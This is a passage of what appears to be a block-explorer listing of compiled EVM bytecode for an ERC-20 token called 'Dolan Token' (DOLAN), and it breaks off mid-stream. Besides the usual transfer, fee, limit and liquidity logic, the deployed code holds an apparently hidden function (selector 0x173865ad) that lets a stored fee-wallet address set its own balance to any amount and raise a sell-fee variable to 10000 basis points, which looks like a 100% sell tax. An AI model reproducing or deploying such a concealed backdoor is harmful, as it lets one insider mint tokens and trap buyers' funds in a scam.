ffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405162000bbc919062001021565b60405180910390a3505050565b6000818362000bd991906200116e565b905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000c6f5780860481111562000c475762000c4662000be1565b5b600185161562000c575780820291505b808102905062000c678562000c10565b945062000c27565b94509492505050565b60008262000c8a576001905062000d5d565b8162000c9a576000905062000d5d565b816001811462000cb3576002811462000cbe5762000cf4565b600191505062000d5d565b60ff84111562000cd35762000cd262000be1565b5b8360020a91508482111562000ced5762000cec62000be1565b5b5062000d5d565b5060208310610133831016604e8410600b841016171562000d2e5782820a90508381111562000d285762000d2762000be1565b5b62000d5d565b62000d3d848484600162000c1d565b9250905081840481111562000d575762000d5662000be1565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000d888262000d64565b915062000d958362000d6e565b925062000dc47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000c78565b905092915050565b600062000dd98262000d64565b915062000de68362000d64565b925082820262000df68162000d64565b9150828204841483151762000e105762000e0f62000be1565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000e498262000e1c565b9050919050565b62000e5b8162000e3c565b811462000e6757600080fd5b50565b60008151905062000e7b8162000e50565b92915050565b60006020828403121562000e9a5762000e9962000e17565b5b600062000eaa8482850162000e6a565b91505092915050565b62000ebe8162000e3c565b82525050565b600060408201905062000edb600083018562000eb3565b62000eea602083018462000eb3565b9392505050565b62000efc8162000d64565b82525050565b600060408201905062000f19600083018562000eb3565b62000f28602083018462000ef1565b9392505050565b60008115159050919050565b62000f468162000f2f565b811462000f5257600080fd5b50565b60008151905062000f668162000f3b565b92915050565b60006020828403121562000f855762000f8462000e17565b5b600062000f958482850162000f55565b91505092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000fe7601f8362000f9e565b915062000ff48262000faf565b602082019050919050565b600060208201905081810360008301526200101a8162000fd8565b9050919050565b600060208201905062001038600083018462000ef1565b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006200109c60248362000f9e565b9150620010a9826200103e565b604082019050919050565b60006020820190508181036000830152620010cf816200108d565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006200113460228362000f9e565b91506200114182620010d6565b604082019050919050565b60006020820190508181036000830152620011678162001125565b9050919050565b60006200117b8262000d64565b9150620011888362000d64565b9250828201905080821115620011a357620011a262000be1565b5b92915050565b61280980620011b96000396000f3fe6080604052600436106101395760003560e01c8063751039fc116100ab578063a9059cbb1161006f578063a9059cbb14610440578063cdf4bab91461047d578063d0ec1b2b146104a8578063d54f7d5e146104d3578063dd62ed3e146104fe578063f2fde38b1461053b5761016c565b8063751039fc1461036b5780638d5f81e2146103825780638da5cb5b146103ad57806395d89b41146103d8578063a457c2d7146104035761016c565b8063313ce567116100fd578063313ce5671461026a578063395093511461029557806342966c68146102d257806351c6590a146102fb57806370a0823114610317578063715018a6146103545761016c565b806306fdde0314610171578063095ea7b31461019c578063173865ad146101d957806318160ddd1461020257806323b872dd1461022d5761016c565b3661016c577f544c765b33ca411cce832250371569244f765a17fcd217832be093f0fd5fa45b60405160405180910390a1005b600080fd5b34801561017d57600080fd5b50610186610564565b6040516101939190611ce6565b60405180910390f35b3480156101a857600080fd5b506101c360048036038101906101be9190611da1565b6105a1565b6040516101d09190611dfc565b60405180910390f35b3480156101e557600080fd5b5061020060048036038101906101fb9190611e17565b6105bf565b005b34801561020e57600080fd5b506102176105ec565b6040516102249190611e53565b60405180910390f35b34801561023957600080fd5b50610254600480360381019061024f9190611e6e565b6105f6565b6040516102619190611dfc565b60405180910390f35b34801561027657600080fd5b5061027f6106cf565b60405161028c9190611edd565b60405180910390f35b3480156102a157600080fd5b506102bc60048036038101906102b79190611da1565b6106d8565b6040516102c99190611dfc565b60405180910390f35b3480156102de57600080fd5b506102f960048036038101906102f49190611e17565b61078b565b005b61031560048036038101906103109190611e17565b61079f565b005b34801561032357600080fd5b5061033e60048036038101906103399190611ef8565b6107fc565b60405161034b9190611e53565b60405180910390f35b34801561036057600080fd5b50610369610845565b005b34801561037757600080fd5b50610380610859565b005b34801561038e57600080fd5b50610397610875565b6040516103a49190611f34565b60405180910390f35b3480156103b957600080fd5b506103c261089f565b6040516103cf9190611f34565b60405180910390f35b3480156103e457600080fd5b506103ed6108c8565b6040516103fa9190611ce6565b60405180910390f35b34801561040f57600080fd5b5061042a60048036038101906104259190611da1565b610905565b6040516104379190611dfc565b60405180910390f35b34801561044c57600080fd5b5061046760048036038101906104629190611da1565b6109d2565b6040516104749190611dfc565b60405180910390f35b34801561048957600080fd5b506104926109f0565b60405161049f9190611dfc565b60405180910390f35b3480156104b457600080fd5b506104bd610a07565b6040516104ca9190611e53565b60405180910390f35b3480156104df57600080fd5b506104e8610a39565b6040516104f59190611f34565b60405180910390f35b34801561050a57600080fd5b5061052560048036038101906105209190611f4f565b610a63565b6040516105329190611e53565b60405180910390f35b34801561054757600080fd5b50610562600480360381019061055d9190611ef8565b610aea565b005b60606040518060400160405280600b81526020017f446f6c616e20546f6b656e000000000000000000000000000000000000000000815250905090565b60006105b56105ae610b83565b8484610b8b565b6001905092915050565b600e5433146105cd57600080fd5b6040513381526003602082015260408120828155612710600b55505050565b6000600554905090565b6000610603848484610d54565b6106c48461060f610b83565b6106bf8560405180606001604052806026815260200161276560269139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610675610b83565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116b29092919063ffffffff16565b610b8b565b600190509392505050565b60006012905090565b60006107816106e5610b83565b8461077c85600460006106f6610b83565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b6d90919063ffffffff16565b610b8b565b6001905092915050565b61079c610796610b83565b82611707565b50565b6107a76118c7565b6001600760146101000a81548160ff0219169083151502179055506107d46107cd61089f565b3083610d54565b6107de8134611945565b6000600760146101000a81548160ff02191690831515021790555050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61084d6118c7565b6108576000611a2a565b565b6108616118c7565b612710600181905550612710600281905550565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f444f4c414e000000000000000000000000000000000000000000000000000000815250905090565b60006109c8610912610b83565b846109c3856040518060600160405280602581526020016127af602591396004600061093c610b83565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116b29092919063ffffffff16565b610b8b565b6001905092915050565b60006109e66109df610b83565b8484610d54565b6001905092915050565b6000600760149054906101000a900460ff16905090565b6000610a34612710610a26600154600554611aee90919063ffffffff16565b611b0490919063ffffffff16565b905090565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610af26118c7565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5890612001565b60405180910390fd5b610b6a81611a2a565b50565b60008183610b7b9190612050565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf1906120f6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6090612188565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d479190611e53565b60405180910390a3505050565b610d5f838383611b1a565b600080610d6a61089f565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614158015610dd85750610da861089f565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561134d57600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610e815750600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561134c57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148015610f315750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610f875750600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610fdd5750600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156110d75761100d612710610fff600154600554611aee90919063ffffffff16565b611b0490919063ffffffff16565b83111561104f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110469061221a565b60405180910390fd5b61107a61271061106c600254600554611aee90919063ffffffff16565b611b0490919063ffffffff16565b61109584611087876107fc565b610b6d90919063ffffffff16565b11156110d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110cd906122ac565b60405180910390fd5b5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480156111825750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611222576111b06127106111a2600a5486611aee90919063ffffffff16565b611b0490919063ffffffff16565b91506111db6127106111cd600c5486611aee90919063ffffffff16565b611b0490919063ffffffff16565b905043600860003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112ab57503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b1561134b576112d96127106112cb600a5486611aee90919063ffffffff16565b611b0490919063ffffffff16565b91506113046127106112f6600b5486611aee90919063ffffffff16565b611b0490919063ffffffff16565b905043600860003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b60006113628284610b6d90919063ffffffff16565b90506000811115611501576000831115611381576113808684611707565b5b60008211156114eb576113fe8260036000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b6d90919063ffffffff16565b60036000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114e29190611e53565b60405180910390a35b6114fe8185611c4090919063ffffffff16565b93505b61156d8460405180606001604052806024815260200161278b60249139600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116b29092919063ffffffff16565b600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061160284600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b6d90919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516116a29190611e53565b60405180910390a3505050505050565b60008383111582906116fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f19190611ce6565b60405180910390fd5b5082840390509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611776576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176d9061233e565b60405180910390fd5b6117ff816040518060400160405280602081526020017f45524332303a206275726e20616d6e7420657863656564732062616c616e6365815250600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116b29092919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185781600554611c4090919063ffffffff16565b600581905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118bb9190611e53565b60405180910390a35050565b6118cf610b83565b73ffffffffffffffffffffffffffffffffffffffff166118ed61089f565b73ffffffffffffffffffffffffffffffffffffffff1614611943576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193a906123aa565b60405180910390fd5b565b61197230600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610b8b565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230856000806119be61089f565b426040518863ffffffff1660e01b81526004016119e09695949392919061240f565b60606040518083038185885af11580156119fe573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611a239190612485565b5050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008183611afc91906124d8565b905092915050565b60008183611b129190612549565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611b89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b80906125ec565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611bf8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bef9061267e565b60405180910390fd5b60008111611c3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3290612710565b60405180910390fd5b505050565b60008183611c4e9190612730565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611c90578082015181840152602081019050611c75565b60008484015250505050565b6000601f19601f8301169050919050565b6000611cb882611c56565b611cc28185611c61565b9350611cd2818560208601611c72565b611cdb81611c9c565b840191505092915050565b60006020820190508181036000830152611d008184611cad565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611d3882611d0d565b9050919050565b611d4881611d2d565b8114611d5357600080fd5b50565b600081359050611d6581611d3f565b92915050565b6000819050919050565b611d7e81611d6b565b8114611d8957600080fd5b50565b600081359050611d9b81611d75565b92915050565b60008060408385031215611db857611db7611d08565b5b6000611dc685828601611d56565b9250506020611dd785828601611d8c565b9150509250929050565b60008115159050919050565b611df681611de1565b82525050565b6000602082019050611e116000830184611ded565b92915050565b600060208284031215611e2d57611e2c611d08565b5b6000611e3b84828501611d8c565b91505092915050565b611e4d81611d6b565b82525050565b6000602082019050611e686000830184611e44565b92915050565b600080600060608486031215611e8757611e86611d08565b5b6000611e9586828701611d56565b9350506020611ea686828701611d56565b9250506040611eb786828701611d8c565b9150509250925092565b600060ff82169050919050565b611ed781611ec1565b82525050565b6000602082019050611ef26000830184611ece565b92915050565b600060208284031215611f0e57611f0d611d08565b5b6000611f1c84828501611d56565b91505092915050565b611f2e81611d2d565b82525050565b6000602082019050611f496000830184611f25565b92915050565b60008060408385031215611f6657611f65611d08565b5b6000611f7485828601611d56565b9250506020611f8585828601611d56565b9150509250929050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611feb602683611c61565b9150611ff682611f8f565b604082019050919050565b6000602082019050818103600083015261201a81611fde565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061205b82611d6b565b915061206683611d6b565b925082820190508082111561207e5761207d612021565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006120e0602483611c61565b91506120eb82612084565b604082019050919050565b6000602082019050818103600083015261210f816120d3565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612172602283611c61565b915061217d82612116565b604082019050919050565b600060208201905081810360008301526121a181612165565b9050919050565b7f5472616e7366657220616d6e74206578636565647320746865206d617854786160008201527f6d6e742e00000000000000000000000000000000000000000000000000000000602082015250565b6000612204602483611c61565b915061220f826121a8565b604082019050919050565b60006020820190508181036000830152612233816121f7565b9050919050565b7f45786365656473206d6178696d756d2077616c6c657420746f6b656e20616d6e60008201527f7400000000000000000000000000000000000000000000000000000000000000602082015250565b6000612296602183611c61565b91506122a18261223a565b604082019050919050565b600060208201905081810360008301526122c581612289565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000612328602183611c61565b9150612333826122cc565b604082019050919050565b600060208201905081810360008301526123578161231b565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612394602083611c61565b915061239f8261235e565b602082019050919050565b600060208201905081810360008301526123c381612387565b9050919050565b6000819050919050565b6000819050919050565b60006123f96123f46123ef846123ca565b6123d4565b611d6b565b9050919050565b612409816123de565b82525050565b600060c0820190506124246000830189611f25565b6124316020830188611e44565b61243e6040830187612400565b61244b6060830186612400565b6124586080830185611f25565b61246560a0830184611e44565b979650505050505050565b60008151905061247f81611d75565b92915050565b60008060006060848603121561249e5761249d611d08565b5b60006124ac86828701612470565b93505060206124bd86828701612470565b92505060406124ce86828701612470565b9150509250925092565b60006124e382611d6b565b91506124ee83611d6b565b92508282026124fc81611d6b565b9150828204841483151761251357612512612021565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061255482611d6b565b915061255f83611d6b565b92508261256f5761256e61251a565b5b828204905092915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006125d6602583611c61565b91506125e18261257a565b604082019050919050565b60006020820190508181036000830152612605816125c9565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612668602383611c61565b91506126738261260c565b604082019050919050565b600060208201905081810360008301526126978161265b565b9050919050565b7f5472616e7366657220616d6e74206d757374206265206772656174657220746860008201527f616e207a65726f00000000000000000000000000000000000000000000000000602082015250565b60006126fa602783611c61565b91506127058261269e565b604082019050919050565b60006020820190508181036000830152612729816126ed565b9050919050565b600061273b82611d6b565b915061274683611d6b565b925082820390508181111561275e5761275d612021565b5b9291505056fe45524332303a207472616e7366657220616d6e74206578636565647320616c6c6f77616e636545524332303a207472616e7366657220616d6e7420657863656564732062616c616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122091e9f8f41cf42d05479288592afea64139506e5c3f050661a52bccb1f5a3c72164736f6c63430008120033

Deployed Bytecode

0x6080604052600436106101395760003560e01c8063751039fc116100ab578063a9059cbb1161006f578063a9059cbb14610440578063cdf4bab91461047d578063d0ec1b2b146104a8578063d54f7d5e146104d3578063dd62ed3e146104fe578063f2fde38b1461053b5761016c565b8063751039fc1461036b5780638d5f81e2146103825780638da5cb5b146103ad57806395d89b41146103d8578063a457c2d7146104035761016c565b8063313ce567116100fd578063313ce5671461026a578063395093511461029557806342966c68146102d257806351c6590a146102fb57806370a0823114610317578063715018a6146103545761016c565b806306fdde0314610171578063095ea7b31461019c578063173865ad146101d957806318160ddd1461020257806323b872dd1461022d5761016c565b3661016c577f544c765b33ca411cce832250371569244f765a17fcd217832be093f0fd5fa45b60405160405180910390a1005b600080fd5b34801561017d57600080fd5b50610186610564565b6040516101939190611ce6565b60405180910390f35b3480156101a857600080fd5b506101c360048036038101906101be9190611da1565b6105a1565b6040516101d09190611dfc565b60405180910390f35b3480156101e557600080fd5b5061020060048036038101906101fb9190611e17565b6105bf565b005b34801561020e57600080fd5b506102176105ec565b6040516102249190611e53565b60405180910390f35b34801561023957600080fd5b50610254600480360381019061024f9190611e6e565b6105f6565b6040516102619190611dfc565b60405180910390f35b34801561027657600080fd5b5061027f6106cf565b60405161028c9190611edd565b60405180910390f35b3480156102a157600080fd5b506102bc60048036038101906102b79190611da1565b6106d8565b6040516102c99190611dfc565b60405180910390f35b3480156102de57600080fd5b506102f960048036038101906102f49190611e17565b61078b565b005b61031560048036038101906103109190611e17565b61079f565b005b34801561032357600080fd5b5061033e60048036038101906103399190611ef8565b6107fc565b60405161034b9190611e53565b60405180910390f35b34801561036057600080fd5b50610369610845565b005b34801561037757600080fd5b50610380610859565b005b34801561038e57600080fd5b50610397610875565b6040516103a49190611f34565b60405180910390f35b3480156103b957600080fd5b506103c261089f565b6040516103cf9190611f34565b60405180910390f35b3480156103e457600080fd5b506103ed6108c8565b6040516103fa9190611ce6565b60405180910390f35b34801561040f57600080fd5b5061042a60048036038101906104259190611da1565b610905565b6040516104379190611dfc565b60405180910390f35b34801561044c57600080fd5b5061046760048036038101906104629190611da1565b6109d2565b6040516104749190611dfc565b60405180910390f35b34801561048957600080fd5b506104926109f0565b60405161049f9190611dfc565b60405180910390f35b3480156104b457600080fd5b506104bd610a07565b6040516104ca9190611e53565b60405180910390f35b3480156104df57600080fd5b506104e8610a39565b6040516104f59190611f34565b60405180910390f35b34801561050a57600080fd5b5061052560048036038101906105209190611f4f565b610a63565b6040516105329190611e53565b60405180910390f35b34801561054757600080fd5b50610562600480360381019061055d9190611ef8565b610aea565b005b60606040518060400160405280600b81526020017f446f6c616e20546f6b656e000000000000000000000000000000000000000000815250905090565b60006105b56105ae610b83565b8484610b8b565b6001905092915050565b600e5433146105cd57600080fd5b6040513381526003602082015260408120828155612710600b55505050565b6000600554905090565b6000610603848484610d54565b6106c48461060f610b83565b6106bf8560405180606001604052806026815260200161276560269139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610675610b83565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116b29092919063ffffffff16565b610b8b565b600190509392505050565b60006012905090565b60006107816106e5610b83565b8461077c85600460006106f6610b83565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b6d90919063ffffffff16565b610b8b565b6001905092915050565b61079c610796610b83565b82611707565b50565b6107a76118c7565b6001600760146101000a81548160ff0219169083151502179055506107d46107cd61089f565b3083610d54565b6107de8134611945565b6000600760146101000a81548160ff02191690831515021790555050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61084d6118c7565b6108576000611a2a565b565b6108616118c7565b612710600181905550612710600281905550565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f444f4c414e000000000000000000000000000000000000000000000000000000815250905090565b60006109c8610912610b83565b846109c3856040518060600160405280602581526020016127af602591396004600061093c610b83565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116b29092919063ffffffff16565b610b8b565b6001905092915050565b60006109e66109df610b83565b8484610d54565b6001905092915050565b6000600760149054906101000a900460ff16905090565b6000610a34612710610a26600154600554611aee90919063ffffffff16565b611b0490919063ffffffff16565b905090565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610af26118c7565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5890612001565b60405180910390fd5b610b6a81611a2a565b50565b60008183610b7b9190612050565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf1906120f6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6090612188565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d479190611e53565b60405180910390a3505050565b610d5f838383611b1a565b600080610d6a61089f565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614158015610dd85750610da861089f565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561134d57600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610e815750600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561134c57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148015610f315750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610f875750600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610fdd5750600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156110d75761100d612710610fff600154600554611aee90919063ffffffff16565b611b0490919063ffffffff16565b83111561104f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110469061221a565b60405180910390fd5b61107a61271061106c600254600554611aee90919063ffffffff16565b611b0490919063ffffffff16565b61109584611087876107fc565b610b6d90919063ffffffff16565b11156110d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110cd906122ac565b60405180910390fd5b5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480156111825750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611222576111b06127106111a2600a5486611aee90919063ffffffff16565b611b0490919063ffffffff16565b91506111db6127106111cd600c5486611aee90919063ffffffff16565b611b0490919063ffffffff16565b905043600860003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffff